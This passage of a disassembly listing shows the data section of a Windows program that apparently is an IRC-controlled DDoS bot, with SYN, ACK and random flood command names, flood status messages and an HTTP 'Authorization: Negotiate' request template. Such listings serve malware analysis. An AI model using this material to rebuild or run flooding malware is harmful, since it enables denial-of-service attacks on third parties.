		dd 25B0B59h, 25B0F4Dh, 25C0000h, 25C0488h, 25C06C4h, 25D0000h
		dd 25E0000h, 25E0741h, 25E0989h
dword_42403C	dd 25E099Eh		; DATA XREF: ___:0041F496r
		dd 25E0A45h, 25E0CB0h, 25E0D24h, 25F0000h, 25F0266h, 25F0278h
dword_424058	dd 25F07CDh		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 25F0847h, 2600000h
dword_424064	dd 260048Fh		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 260051Fh, 2610000h
dword_424070	dd 2620000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2630000h		; DATA XREF: sub_4168E7+Br
dword_424078	dd 26307C3h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2640000h, 2650000h
dword_424084	dd 2650879h		; DATA XREF: sub_40AB7C+36r
		dd 2650AE2h
dword_42408C	dd 2650BAEh		; DATA XREF: sub_4168E7:loc_416978r
		dd 2650BCFh, 2660000h, 2670000h, 2680000h
dword_4240A0	dd 2680BE2h		; DATA XREF: sub_4165C4+32r
		dd 2690000h, 26903C5h, 26904E3h, 26A0000h, 26A051Ah, 26B0000h
dword_4240BC	dd 26C0000h		; DATA XREF: sub_408EE5+26r
		dd 26D0000h, 77F7E300h,	77F7E21Fh, 26D0CFEh, 26E0000h
		dd 26E063Ah
dword_4240D8	dd 26E08B8h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26F0000h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 26F06EAh		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 2700000h
dword_4240E8	dd 2710000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2710B66h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2710C06h
dword_4240F4	dd 2720000h		; DATA XREF: sub_409392+56r
		dd 27201EEh, 2720789h
dword_424100	dd 2720D7Dh		; DATA XREF: sub_40981F+2r
		dd 2730000h, 2740000h, 2740809h, 2750000h, 275039Dh, 2760000h
		dd 276066Ah, 2760B39h, 2770000h, 27711B5h, 2771311h, 2780000h
		dd 2780453h, 2780785h
dword_42413C	dd 2780DF7h		; DATA XREF: sub_40B56C+79r
					; sub_41680E+3Ar
dword_424140	dd 2790000h		; DATA XREF: sub_40B56C+3Br
					; sub_416715+23r
		dd 27A0000h, 27B0000h, 77E75CB5h
dword_424150	dd 27C0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27D0000h, 27D0BFFh, 27D0CFFh
dword_424160	dd 27E0000h		; DATA XREF: ___:loc_40E864r
		dd 27E0302h
dword_424168	dd 27E09C6h		; DATA XREF: sub_4165C4:loc_4166B0r
		dd 27E0ADCh, 27E0BB5h, 27E0CBCh, 27F0000h, 27F0518h, 27F07DCh
		dd 27F0893h, 27F0956h, 2800000h, 2810000h, 2820000h, 2830000h
		dd 2831B41h, 2831B9Bh, 2840000h, 2840DF4h, 2850000h
dword_4241B0	dd 285072Dh		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2850894h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 2850A05h, 2860000h, 28605BBh, 2870000h, 2880000h, 2881391h
		dd 2881A48h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_41544E+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------


loc_424E24:				; DATA XREF: ___:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl


loc_424E6F:				; DATA XREF: ___:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(0D2FE806h), 5 dup(2CDCBE35h), 5 dup(2D4FE45Ch)
		dd 7Ah dup(0)
		dd 2D4FE45Ch, 0
		dd 0D2FE806h, 12h dup(0)
		dd 2CDCBE35h, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
